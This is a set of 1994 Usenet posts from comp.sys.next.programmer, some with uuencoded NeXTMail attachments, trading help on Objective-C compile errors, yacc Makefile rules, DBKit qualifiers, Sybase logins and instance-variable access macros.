M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,5QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@ M/#)M:S9J<R1Q,W%`87!L8V]M;2YJ:'5A<&PN961U/B!J9'-`87!L97AU<RYJ M:'5A<&PN961U("A*;VAN($0@4W1A;FAO<&4I('=R:71E<SI<"CX@7`H^($D@ M=&AI;FL@22!H879E(&)E96X@<W!O:6QE9"!B>2!0<F]J96-T($)U:6QD97(@ M8F5C875S92!)(&-A;FYO="!G970@=F5R>2!S:6UP;&5<"CX@<')O9W)A;2!T M;R!C;VUP:6QE(&1U92!T;R!A;&P@<V]R=',@;V8@8V]N9FQI8W1S+B`@4&QE M87-E(&AA=F4@82!L;V]K(&%N9"!T96QL7`H^(&UE('=H>2!)(&%M('-U8V@@ M82!C;VUP;&5T92!I9&EO="Y<"CX@7`H^(&UA:6X@<')O9W)A;2!I;B!M86EN M+FU<"CX@7`H^(`DC:6UP;W)T(#QS=&1I;RYH/EP*/B`)(VEM<&]R="`B26YT M97)G<F%T92YH(EP*/B`)(VEM<&]R=`DB0V]N<W1A;G0N:")<"CX@"2-I;7!O M<G0@(DUU;'1I<&QY+F@B7`H^(%P*/B`)=F]I9"!M86EN*"E<"CX@"5Q[7`H^ M(`D):60)8FQO8VLQ+"!B;&]C:S(L(&)L;V-K,RP@8FQO8VLT.UP*/B!<"CX@ M"0EB;&]C:S$@/2!;6T-O;G-T86YT(&%L;&]C72!I;FET5VET:#HM,2XP73M< M"CX@"0EB;&]C:S(@/2!;6TUU;'1I<&QY(&%L;&]C72!I;FET73M<"CX@"0EB M;&]C:S,@/2!;6TEN=&5R9W)A=&4@86QL;V-=(&EN:717:71H.F)L;V-K,B`Z M,2XP73M<"CX@"0EB;&]C:S0@/2!;6TEN=&5R9W)A=&4@86QL;V-=(&EN:717 M:71H.F)L;V-K,R`Z,2XP73M<"CX@7`H^(`D)+R\@<')O9W)A;2!M=6YC:&5D M7`H^(`E<?5P*/B!<"CX@7`H^($$@9F5W(&]F('1H92!H96%D97)S7`H^(%P* M/B!-=6QT:7!L>2YH7`H^(%P*/B`)0&EN=&5R9F%C92!-=6QT:7!L>3I";&]C M:UP*/B`)7'M<"CX@"5Q]7`H^(`DM(&EN:717:71H.FEN<'5T,2`Z:6YP=70R M.UP*/B`)+2!P<F]C97-S.UP*/B`)0&5N9%P*/B!<"CX@26YT97)G<F%T92YH M7`H^(%P*/B`)0&EN=&5R9F%C92!);G1E<F=R871E.D)L;V-K7`H^(`E<>UP* M/B`)7'U<"CX@"2T@:6YI=%=I=&@Z:6YP=70Q(#HH9FQO870I:6YI=%9A;'5E M.UP*/B`)+2!I;FET5VET:#HH9FQO870I:6YI='9A;'5E.UP*/B`)+2!P<F]C M97-S.UP*/B`)0&5N9%P*/B!<"CX@0V]N<W1A;G0N:%P*/B!<"CX@"4!I;G1E M<F9A8V4@0V]N<W1A;G0Z0FQO8VM<"CX@"5Q[7`H^(`E<?5P*/B`)+2!I;FET M5VET:#HH9FQO870I:6YI=%9A;'5E.UP*/B`)+2!P<F]C97-S.UP*/B!<"CX@ M"4!E;F1<"CX@7`H^(%1H92!E<G)O<G-<"CX@7`H^(&UA:6XN;3H@26X@9G5N M8W1I;VX@8&UA:6XG.EP*/B!M86EN+FTZ,3<Z('=A<FYI;F<Z(&UU;'1I<&QE M(&1E8VQA<F%T:6]N<R!F;W(@;65T:&]D(&!I;FET5VET:#HZ)UP*/B!-=6QT M:7!L>2YH.C8Z('=A<FYI;F<Z('5S:6YG(&`M:6YI=%=I=&@Z:6YP=70Q(#II M;G!U=#(G7`H^($EN=&5R9W)A=&4N:#HV.B!W87)N:6YG.B!A;'-O(&9O=6YD M(&`M:6YI=%=I=&@Z:6YP=70Q(#HH9FQO870I:6YI=%9A;'5E)UP*/B!M86EN M+FTZ,3<Z(&EN8V]M<&%T:6)L92!T>7!E(&9O<B!A<F=U;65N="`R(&]F(&!I M;FET5VET:#HZ)UP*/B!M86EN+FTZ,3@Z('=A<FYI;F<Z(&UU;'1I<&QE(&1E M8VQA<F%T:6]N<R!F;W(@;65T:&]D(&!I;FET5VET:#HZ)UP*/B!-=6QT:7!L M>2YH.C8Z('=A<FYI;F<Z('5S:6YG(&`M:6YI=%=I=&@Z:6YP=70Q(#II;G!U M=#(G7`H^($EN=&5R9W)A=&4N:#HV.B!W87)N:6YG.B!A;'-O(&9O=6YD(&`M M:6YI=%=I=&@Z:6YP=70Q(#HH9FQO870I:6YI=%9A;'5E)UP*/B!M86EN+FTZ M,3@Z(&EN8V]M<&%T:6)L92!T>7!E(&9O<B!A<F=U;65N="`R(&]F(&!I;FET M5VET:#HZ)UP*/B`J*BH@17AI="`Q7`H^(%-T;W`N7`H^(%P*/B!#;VUP:6QE M9"!A<UP*/B`)8V,@+6\@4VQI8V4@;6%I;BYO($UU;'1I<&QY+F\@26YT97)G M<F%T92YO($1I=FED92YO($-O;G-T86YT+F\@0FQO8VLN;R!<"CX@"0DM3$YE M6%1?<UP*/B!<"CX@5&AE<F4@87)E(&YO('=A<FYI;F<@;W(@97)R;W)S(&9O M<B!A;GD@;V8@=&AE(&]T:&5R(&UO9'5L97,N("!!;F0@:68@22!R97!L86-E M7`H^(&EN:717:71H('=I=&@@:6YI="!E=F5R>71H:6YG(&-O;7!I;&5S(&IU M<W0@9FEN92X@($D@:VYO=R!T:&%T($D@8V]U;&0@:G5S="!A9&1<"CX@86YO M=&AE<B!M971H;V0@=&\@9V5T(&5V97)Y=&AI;F<@=&\@=V]R:RP@8G5T($D@ M=V]U;&0@;&EK92!T;R!K;F]W('=H870@22!A;2!<"CX@9&]I;F<@=W)O;F<N M7`H^(%P*/B!)="!S965M<R!T:&%T('1H92!C;VUP:6QE<B!D;V5S;B=T('-E M92!T:&4@9&5F:6YI=&EO;G,@:6X@=&AE(&AE861E<G,@86YD('1H:6YK<R!< M"CX@=&AA="!M86EN(&ES(&1E8VQA<FEN9R`M(&EN:717:71H.CHL(&]R('1H M870@=&AE(&%L;&]C(&%R92!N;W0@8F5I;F<@87-S;V-I871E9%P*/B!W:71H M('1H96ER(&%P<')O<')I871E(&-L87-S+B`@4$Q%05-%('-O;65B;V1Y(&%N M>6)O9'D@=&5L;"!M92!W:&%T($D@86T@9&]I;F=<"CX@=W)O;F<L('1H:7,@ M:7,@9')I=FEN9R!M92!B;VYK97)S+EP*/B!<"CX@+2T@:F1S7`H^(%P*/B`M M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM7`H^($]T=&\)(D%P M97,@9&]N)W0@<F5A9"!P:&EL;W-H<'DB"0D)("`@("`@("`@("`@(&1I<V-L M86EM97(@7`H^(%=A;F1A"2)3=7)E('1H97D@9&\L('1H97D@:G5S="!D;VXG M="!U;F1E<G-T86YD(&ET(EP*/B`M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM7`I*;VAN+%P*"7EO=2!C86X@96ET:&5R(&1O(&%S($1A=F4@ M1W)I9F9I=&AS('-A>7,L(&%N9"!R961E9FEN92!Y;W5R(&UE=&AO9"!N86UE M<RP@;W(@9&\@=&AE(&9O;&QO=VEN9SI<"EP*"0EB;&]C:S$@/2!;*$-O;G-T M86YT("HI(%M#;VYS=&%N="!A;&QO8UT@:6YI=%=I=&@Z+3$N,%T[7`H)"6)L M;V-K,B`](%LH375L=&EP;'D@*BD@6TUU;'1I<&QY(&%L;&]C72!I;FET73M< M"@D)8FQO8VLS(#T@6RA);G1E<F=R871E"B`J*2!;26YT97)G<F%T92!A;&QO M8UT@:6YI=%=I=&@Z8FQO8VLR(#HQ+C!=.UP*"0EB;&]C:S0@/2!;*$EN=&5R M9W)A=&4@*BD@"EM);G1E<F=R871E(&%L;&]C72!I;FET5VET:#IB;&]C:S,@ M.C$N,%T[7`IW:&EC:"!E9F9E8W1I=F5L>2!C87-T<R!T:&4@<F5S=6QT(&]F M('1H92!A;&QO8R!I;G1O('1H92`B:VEN9"!O9B!T:&EN9R(@>6]U('=A;G0@ ;=&\@(FEN:717:71H.B(N7`I<"E)I:UP*"GT* `
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: Re: Problems with yacc and Makefile Message-ID: <1994Mar24.232749.203@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2m7321$m83@news.rhrz.uni-bonn.de> Date: Thu, 24 Mar 1994 23:27:49 GMT In article <2m7321$m83@news.rhrz.uni-bonn.de> geom2@sfb256.iam.uni-bonn.de ( Michael Moellney ) writes: > Hi! > > There is a file: adoc.y (grammar-file to compiled by yacc). > The basicrules.make has a rule : > ..y.o: > @(initdir=`pwd`; \ > cd $(SYM_DIR); \ > cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ > cmd="$(MV) $(MVFLAGS) y.tab.c $*.c" ; echo $$cmd; $$cmd ; \ > cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ; \ > cd $$initdir ; \ > cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.c -o $(OFILE_DIR)/$*.o" ; \ > echo $$cmd ; $$cmd ) > > This one produces a file: y.tab.c in directory ./sym . > Then this y.tab.c is renamed to adoc.c. > After this all is compiled .... nice, that what i want,.... BUT > > when you make a touch on adoc.y the following rule in basicrules.make is used: > ..y.c .y.h: > @(initdir=`pwd`; \ > cd $(SYM_DIR); \ > cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ > cmd="$(MV) $(MVFLAGS) y.tab.c $*.c" ; echo $$cmd; $$cmd ; \ > cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ) > > and this produces on make following output to terminal: > <michi:ADoc,23> make > yacc -d -v /usr/people/moellney/Privat/Juelich/Projekte/AutoDoc/Prog/ADoc/adoc.y > > conflicts: 2 shift/reduce, 1 reduce/reduce > mv y.tab.c sym/adoc.c > mv: sym/adoc.c: rename: No such file or directory > *** Exit 1 > Stop. > *** Exit 1 > Stop. > > yacc produces this y.tab.c in ./sym that's ok but where comes does sym/adoc.c > come from ???? Shouldn't it only read > mv y.tab.c adoc.c > > Now ok, there's already a file adoc.c in ./sym . Does this force make > to use the second rule and produce that curious sym/adoc.c ?? > But when so, why isn't the yacc line > yacc -d -v /usr/....../ADoc/sym/adoc.y > > Yes, there's no such file in ./sym, but read in the rule... in both lines > there is a $*, which means name without extension... > > Thankful for any hints, Michael Michael, I found the problem also. I ended up hacking up my basicrules.make. For all of the following rules: y.o: y.c .y.h: ym.o: ym.m .ym.h: I changes the $(CP) line to: cmd="$(CP) $(MVFLAGS) y.tab.h `basename $*.h`" ; echo $$cmd; $$cmd leaving the proper punctuation, of course. This works like a charm for me. Rik Cousens -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!5=&]P:6$M4F5G=6QA<CM< M9C%<9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R M9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT M>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5< M9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@/#)M-S,R,21M.#-`;F5W<RYR:')Z M+G5N:2UB;VYN+F1E/B!G96]M,D!S9F(R-38N:6%M+G5N:2UB;VYN+F1E("@@ M("!-:6-H865L($UO96QL;F5Y("D@=W)I=&5S.EP*/B!(:2%<"CX@7`H^(%1H M97)E(&ES(&$@9FEL93H@(&%D;V,N>2`@*&=R86UM87(M9FEL92!T;R!C;VUP M:6QE9"!B>2!Y86-C*2Y<"CX@5&AE(&)A<VEC<G5L97,N;6%K92!H87,@82!R M=6QE(#I<"CX@+BYY+F\Z7`H^("`@("`@0"AI;FET9&ER/6!P=V1@.R`@("`@ M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(%Q< M7`H^("`@("`@8V0@)"A364U?1$E2*3L@("`@("`@("`@("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@("`@("`@("`@(%Q<7`H^("`@("`@("!C;60] M(B0H64%#0RD@)"A91DQ!1U,I("0D:6YI=&1I<B\D*BYY(B`[(&5C:&\@)"1C M;60[("0D8VUD(#L@(%Q<7`H^("`@("`@("!C;60](B0H358I("0H359&3$%' M4RD@>2YT86(N8R`D*BYC(B`[(&5C:&\@)"1C;60[("0D8VUD(#L@("`@(%Q< M7`H^("`@("`@("!C;60](B0H0U`I("0H359&3$%'4RD@>2YT86(N:"`D*BYH M(B`[(&5C:&\@)"1C;60[("0D8VUD(#L@("`@(%Q<7`H^("`@("`@8V0@)"1I M;FET9&ER(#L@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M("`@("`@("`@("`@(%Q<7`H^("`@("`@8VUD/2(D*$-#*2`D*$%,3%]#1DQ! M1U,I("U))"1I;FET9&ER("UC("0H4UE-7T1)4BDO)"HN8R`M;R`D*$]&24Q% M7T1)4BDO)"HN;R(@.R!<7%P*/B`@("`@(&5C:&\@)"1C;60@.R`D)&-M9"`I M7`H^(%P*/B!4:&ES(&]N92!P<F]D=6-E<R!A(&9I;&4Z('DN=&%B+F,@:6X@ M9&ER96-T;W)Y("XO<WEM("Y<"CX@5&AE;B!T:&ES('DN=&%B+F,@:7,@<F5N M86UE9"!T;R!A9&]C+F,N7`H^($%F=&5R('1H:7,@86QL(&ES(&-O;7!I;&5D M("XN+BX@;FEC92P@=&AA="!W:&%T(&D@=V%N="PN+BXN($)55%P*/B!<"CX@ M=VAE;B!Y;W4@;6%K92!A('1O=6-H(&]N(&%D;V,N>2!T:&4@9F]L;&]W:6YG M(')U;&4@:6X@8F%S:6-R=6QE<RYM86ME(&ES('5S960Z7`H^("XN>2YC("YY M+F@Z7`H^("`@("`@("`@0"AI;FET9&ER/6!P=V1@.R`@("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(%Q<7`H^("`@("`@ M("`@8V0@)"A364U?1$E2*3L@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@("`@(%Q<7`H^("`@("`@("`@("!C;60](B0H M64%#0RD@)"A91DQ!1U,I("0D:6YI=&1I<B\D*BYY(B`[(&5C:&\@)"1C;60[ M("0D8VUD(#L@(%Q<7`H^("`@("`@("`@("!C;60](B0H358I("0H359&3$%' M4RD@>2YT86(N8R`D*BYC(B`[(&5C:&\@)"1C;60[("0D8VUD(#L@("`@(%Q< M7`H^("`@("`@("`@("!C;60](B0H0U`I("0H359&3$%'4RD@>2YT86(N:"`D M*BYH(B`[(&5C:&\@)"1C;60[("0D8VUD("E<"CX@7`H^(&%N9"!T:&ES('!R M;V1U8V5S(&]N(&UA:V4@9F]L;&]W:6YG(&]U='!U="!T;R!T97)M:6YA;#I< M"CX@/&UI8VAI.D%$;V,L,C,^(&UA:V5<"CX@>6%C8R`M9"`M=B`O=7-R+W!E M;W!L92]M;V5L;&YE>2]0<FEV870O2G5E;&EC:"]0<F]J96MT92]!=71O1&]C M+U!R;V<O041O8R]A9&]C+GE<"CX@7`H^(&-O;F9L:6-T<SH@,B!S:&EF="]R M961U8V4L(#$@<F5D=6-E+W)E9'5C95P*/B!M=B!Y+G1A8BYC('-Y;2]A9&]C M+F-<"CX@;78Z('-Y;2]A9&]C+F,Z(')E;F%M93H@3F\@<W5C:"!F:6QE(&]R M(&1I<F5C=&]R>5P*/B`J*BH@17AI="`Q7`H^(%-T;W`N7`H^("HJ*B!%>&ET M(#%<"CX@4W1O<"Y<"CX@7`H^('EA8V,@<')O9'5C97,@=&AI<R!Y+G1A8BYC M(&EN("XO<WEM('1H870G<R!O:R!B=70@=VAE<F4@8V]M97,@9&]E<R!S>6TO M861O8RYC7`H^(&-O;64@9G)O;2`_/S\_(%-H;W5L9&XG="!I="!O;FQY(')E M861<"CX@;78@>2YT86(N8R!A9&]C+F-<"CX@7`H^($YO=R!O:RP@=&AE<F4G M<R!A;')E861Y(&$@9FEL92!A9&]C+F,@:6X@+B]S>6T@+B`@1&]E<R!T:&ES M(&9O<F-E(&UA:V5<"CX@=&\@=7-E('1H92!S96-O;F0@<G5L92!A;F0@<')O M9'5C92!T:&%T(&-U<FEO=7,@<WEM+V%D;V,N8R`_/UP*/B!"=70@=VAE;B!S M;RP@=VAY(&ES;B=T('1H92!Y86-C(&QI;F5<"CX@>6%C8R`M9"`M=B`O=7-R M+RXN+BXN+B]!1&]C+W-Y;2]A9&]C+GE<"CX@7`H^(%EE<RP@=&AE<F4G<R!N M;R!S=6-H(&9I;&4@:6X@+B]S>6TL(&)U="!R96%D(&EN('1H92!R=6QE+BXN M(&EN(&)O=&@@;&EN97-<"CX@=&AE<F4@:7,@82`D*BP@=VAI8V@@;65A;G,@ M;F%M92!W:71H;W5T(&5X=&5N<VEO;BXN+EP*/B!<"CX@5&AA;FMF=6P@9F]R M(&%N>2!H:6YT<RP@36EC:&%E;%P*36EC:&%E;"Q<"@E)(&9O=6YD('1H92!P M<F]B;&5M(&%L<V\N("!)(&5N9&5D('5P(&AA8VMI;F<@=7`@;7D@8F%S:6-R M=6QE<RYM86ME+EP*1F]R(&%L;"!O9B!T:&4@9F]L;&]W:6YG(')U;&5S.EP* M"EQB("YY+F\Z7`HN>2YC("YY+F@Z7`HN>6TN;SI<"BYY;2YM("YY;2YH.EP* M"EQB,"!)(&-H86YG97,@=&AE("0H0U`I(&QI;F4@=&\Z7`H*7&(@8VUD/2(D M*$-0*2`D*$U61DQ!1U,I('DN=&%B+F@@8&)A<V5N86UE("0J+FA@(B`[(&5C M:&\@)"1C;60[("0D8VUD"EQB,"!<"FQE879I;F<@=&AE('!R;W!E<B!P=6YC M='5A=&EO;BP@;V8@8V]U<G-E+B`@5&AI<R!W;W)K<R!L:6ME(&$@8VAA<FT@ =9F]R(&UE+EP*7`I2:6L@0V]U<V5N<UP*7`H*?0IK `
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: Re: DBQualifier Message-ID: <1994Mar24.234312.263@biztech.com> Keywords: DBKit Sender: news@biztech.com Organization: Biztech, Inc. References: <2mps96$a5o@solaris.cc.vt.edu> Date: Thu, 24 Mar 1994 23:43:12 GMT In article <2mps96$a5o@solaris.cc.vt.edu> rcw@caspian.cc.vt.edu (R. Craig Woods) writes: > I created a simple app using PB and IB that displays > all the records in a table when I press a fetch button. > (I didn't write a line of code for this.) > > My next task is to add the capability for fetching qualified records. > > My technical ref (NeXTSTEP General Ref, Vol 2, p 4-9) says > "To constrain the records retrieved, you create a custom object, > and in it define a method that creates a DBQualifier object > and uses it as an argument of the method fetchContentsOf:usingQualifier:." > > Could someone explain what they mean when they say > "create a custom object, and in it define a method... "?? > (I understand how to create the DBQualifier object but I'm not > sure how to associate it with the DBModule.) > > If there are any examples of this, you could point me to them. > All I have found so far are examples that create all the > DB objects from scratch, not using IB. R. Craig, take a look at the DBQualifier.rtf in Librarian. I think the "Custom Object" that they're talking about is just a specialized DBQualifier that contains a "description" (NeXT phrase) of the way you want to contrain your returned rows. The way the qualifier is tied to the module is via the entity and properties named in the "description". When you instantiate the qualifier, you do it as follows: myQual=[[DBQualifier allocFromZone:[self zone]] initForEntity:myEntity fromDescription:"some list of constraints"]; If you don't know the entity, ask the DBDatabase: entity=[[module database] entityNamed:"myEntity"]; you can then ask the entity for the properties you want: custNumProp=[entity propertyNamed:"customer_number"]; etc. So anyway, when you have your qualifier built, do something like: [module fetchContentsOf:nil usingQualifier:myQual]; and the rows will be returned as you desire. Hope that helps, Rik Cousens
Newsgroups: comp.sys.next.programmer From: rik@rikhost (rik cousens) Subject: Re: Setting user name in DBDatabase Message-ID: <1994Mar24.235058.323@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Mar23.144618.630@parsec.mixcom.com> Distribution: usa Date: Thu, 24 Mar 1994 23:50:58 GMT In article <1994Mar23.144618.630@parsec.mixcom.com> scott@parsec.mixcom.com (Scott Violet) writes: > Hi all, > I'ld like to connect to a sybase server with a model I have, > but I want the login name to match the current user name. I see that > I can do it using: the connectUsingAdaptor:andString: DBDatabase > method. But, the docs say you should only use this when you want to > use a different adaptor, which isn't what I want. So, how do I set a > different login when I want to use the same model? It seems as though > this should be a typical question with permissions and what not. > Thanks in advance, > -Scott Violet (scott@SmartSoft.com) Scott, here's a method that I use: - awakeFromNib { id db=[someModule database]; char buff[MAXPATHLEN]; if (db) { if (![db isConnected]) { sprintf(buff,"%s/%s@SYBASE_SERVER/some_databa se", NXUserName(),NXUserName()); [db connectUsingAdaptor:"SybaseAdaptor" andString:[string validString]]; } [db setDelegate:self]; } return self; } You would probably want to set the server and database from the Defaults system (create the NXDefaultsVector in the +initialize method for your Controller class). Hope that helps, Rik Cousens -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!5=&]P:6$M4F5G=6QA<CM< M9C%<9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R M9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT M>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5< M9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@/#$Y.31-87(R,RXQ-#0V,3@N-C,P M0'!A<G-E8RYM:7AC;VTN8V]M/B!S8V]T=$!P87)S96,N;6EX8V]M+F-O;2`H M4V-O='0@5FEO;&5T*2!W<FET97,Z7`H^($AI(&%L;"Q<"CX@"4DG;&0@;&EK M92!T;R!C;VYN96-T('1O(&$@<WEB87-E('-E<G9E<B!W:71H(&$@;6]D96P@ M22!H879E+%P*/B!B=70@22!W86YT('1H92!L;V=I;B!N86UE('1O(&UA=&-H M('1H92!C=7)R96YT('5S97(@;F%M92X@($D@<V5E('1H871<"CX@22!C86X@ M9&\@:70@=7-I;F<Z('1H92!C;VYN96-T57-I;F=!9&%P=&]R.F%N9%-T<FEN M9SH@1$)$871A8F%S95P*/B!M971H;V0N("!"=70L('1H92!D;V-S('-A>2!Y M;W4@<VAO=6QD(&]N;'D@=7-E('1H:7,@=VAE;B!Y;W4@=V%N="!T;UP*/B!U M<V4@82!D:69F97)E;G0@861A<'1O<BP@=VAI8V@@:7-N)W0@=VAA="!)('=A M;G0N("!3;RP@:&]W(&1O($D@<V5T(&%<"CX@9&EF9F5R96YT(&QO9VEN('=H M96X@22!W86YT('1O('5S92!T:&4@<V%M92!M;V1E;#\@($ET('-E96US(&%S M('1H;W5G:%P*/B!T:&ES('-H;W5L9"!B92!A('1Y<&EC86P@<75E<W1I;VX@ M=VET:"!P97)M:7-S:6]N<R!A;F0@=VAA="!N;W0N7`H^(%1H86YK<R!I;B!A M9'9A;F-E+%P*/B`)"0DM4V-O='0@5FEO;&5T("AS8V]T=$!3;6%R=%-O9G0N M8V]M*5P*4V-O='0L7`H):&5R92=S(&$@;65T:&]D('1H870@22!U<V4Z7`H* M7'!A<F1<='@W,S)<='@Q-#0T7'1X,C$W-EQT>#(X.#A<='@U-S8P7'1X-CDQ M,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QB7&9C,%QC9C`@+2!A M=V%K949R;VU.:6)<"EQ[7`H):60@9&(]6W-O;65-;V1U;&4@9&%T86)A<V5= M.UP*"6-H87(@8G5F9EM-05A0051(3$5.73M<"EP*"6EF("AD8BD@7'M<"@D) M:68@*"%;9&(@:7-#;VYN96-T961=*2!<>UP*"0D)<W!R:6YT9BAB=69F+"(E M<R\E<T!364)!4T5?4T525D52+W-O;65?9&%T86)A<V4B+%P*"0D)"4Y857-E M<DYA;64H*2Q.6%5S97).86UE*"DI.UP*"0D)6V1B(&-O;FYE8W15<VEN9T%D M87!T;W(Z(E-Y8F%S94%D87!T;W(B7`H)"0D)86YD4W1R:6YG.EMS=')I;F<@ M=F%L:613=')I;F==73M<"@D)7'U<"@D)6V1B('-E=$1E;&5G871E.G-E;&9= M.UP*"5Q]7`H@("`@<F5T=7)N('-E;&8[7`I<?5P*"EQP87)D7'1X,3$U,EQT M>#(S,#1<='@S-#4V7'1X-#8P.%QT>#4W-C!<='@V.3$R7'1X.#`V-%QT>#DR M,39<='@Q,#,V.%QT>#$Q-3(P7&(P7&9C,%QC9C`@66]U('=O=6QD('!R;V)A M8FQY('=A;G0@=&\@<V5T('1H92!S97)V97(@86YD(&1A=&%B87-E(&9R;VT@ M=&AE($1E9F%U;'1S('-Y<W1E;2`H8W)E871E('1H92!.6$1E9F%U;'1S5F5C M=&]R(&EN('1H92`K:6YI=&EA;&EZ92!M971H;V0@9F]R('EO=7(@0V]N=')O M;&QE<B!C;&%S<RDN7`I<"DAO<&4@=&AA="!H96QP<RQ<"E)I:R!#;W5S96YS %7`H*?0IC `
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Setting user name in DBDatabase Date: 25 Mar 1994 09:40:58 -0000 Organization: me organised, that's a joke. Distribution: usa Message-ID: <2mubja$g5@steffi.demon.co.uk> References: <1994Mar23.144618.630@parsec.mixcom.com> <1994Mar24.235058.323@biztech.com> My experiences in the past have told me that if you start your login string with @ it defaults to your login name. I could be wrong I haven't checked this for quite a while. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: thomas@kalium.physik.TU-Berlin.DE (Thomas Hensel) Newsgroups: comp.sys.next.programmer Subject: Help: Unrecognized event in [Application -sendEvent:], type = 16 Date: 25 Mar 1994 11:56:27 GMT Organization: TUBerlin/ZRZ Message-ID: <2mujhb$rci@brachio.zrz.TU-Berlin.DE> Hi! I have a problem with this code-fragment: - addPictures:sender { id openPicPanel; const char *const *fnames; openPicPanel = [OpenPanel new]; [openPicPanel chooseDirectories:NO]; [openPicPanel allowMultipleFiles:YES]; if ([openPicPanel runModal]) { fnames = [openPicPanel filenames]; ... } return self; } Inside the runModal-loop the console-window shows up the following message (repeated x times): Unrecognized event in [Application -sendEvent:], type = 16 My question, what does this mean ??? Thanks, Thomas -- email: thomas@kalium.physik.TU-Berlin.DE (NeXTMail) vmail: +49 (0)30 314 23014 (work) +49 (0)30 393 65 20 (home) smail: TU Berlin, Institut Strahlungsphysik, Hardenbergstr.36, 10623 Berlin
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Breaking encapsulation & API (was: events be objects?) Message-ID: <Cn6EIq.Cu@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company Date: Thu, 24 Mar 1994 15:47:14 GMT Don't use these unless you are absolutely, positively sure that going after an instance variable as if it were a member of a structure is a safe thing to do. This breaks Obj-C's notions of protected instance variables, true dynamic binding, and data encapsulation. But, it is extremely fast. It would be very useful w/NXEvent as an object-- using these macros would make for extremely fast fill-in and look-up of the event information. Hopefully, someone will find them useful (and no one will burn themselves too badly)... b.bum ----- /* These macros directly get and set the value of an instance variable by dereferencing obj_ as if it were a structure. The result of the macro's evaluation will be the value that was retrieved or set (except in the case of those macros with a suffix of _N). The simplest forms, GETiVAR and SETiVAR, should only be used if obj_ is already case to the appropriate type and is known to point to an existing object (ie; is not nil). To prevent a crash in the case of obj_ being nil, the macros with a suffix of _N can be used. If obj_ is nil, the dereference will not happen and the result of the macro's evaluation will be nullval_. To access protected instance variables (to truly and completely break obj-c's encapsulation paradigm) or force a typecast of obj_, one should use the macros with a suffix of _C. The class_ argument is used to indicate the class (or some superclass) of obj_. Note that the macro does not perform a simple typecast, but uses the @defs macro to typecast obj_ to a pointer to a regular C structure. Macros with a suffix of _CN have both the class_ and nullval_ arguments. Summary: GETiVAR_CN can be used if full structure typecasting and nil-obj_ protection is needed. GETiVAR_C can be used if obj_ is guaranteed to be typecast appropriately. GETiVAR_N can be used if obj_ is non-nil. GETiVAR can be used if obj_ is both valid and appropriately typecast SETiVAR* "functions" can be used to directly set the value of an iVar. */ #define GETiVAR_CN(obj_, ivar_, class_, nullval_) \ (obj_ ? (((struct {@defs(class_)} *)obj_)->ivar_) : nullval_) #define GETiVAR_C(obj_, ivar_, class_) \ (((struct {@defs(class_)} *)obj_)->ivar_) #define GETiVAR_N(obj_, ivar_, nullval_) \ (obj_ ? ((obj_)->ivar_) : nullval_) #define GETiVAR(obj_, ivar_) \ (obj_)->ivar_) #define SETiVAR_CN(obj_, ivar_, value_, class_, nullval_) \ (obj_ ? (((struct {@defs(class_)} *)obj_)->ivar_ = value_) : nullval_) #define SETiVAR_C(obj_, ivar_, value_, class_) \ (((struct {@defs(class_)} *)obj_)->ivar_ = value_) #define SETiVAR_N(obj_, ivar_, value_, nullval_) \ (obj_ ? ((obj_)->ivar_ = value_) : nullval_) #define SETiVAR(obj_, ivar_, value_,) \ (obj_)->ivar_ = value_) -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
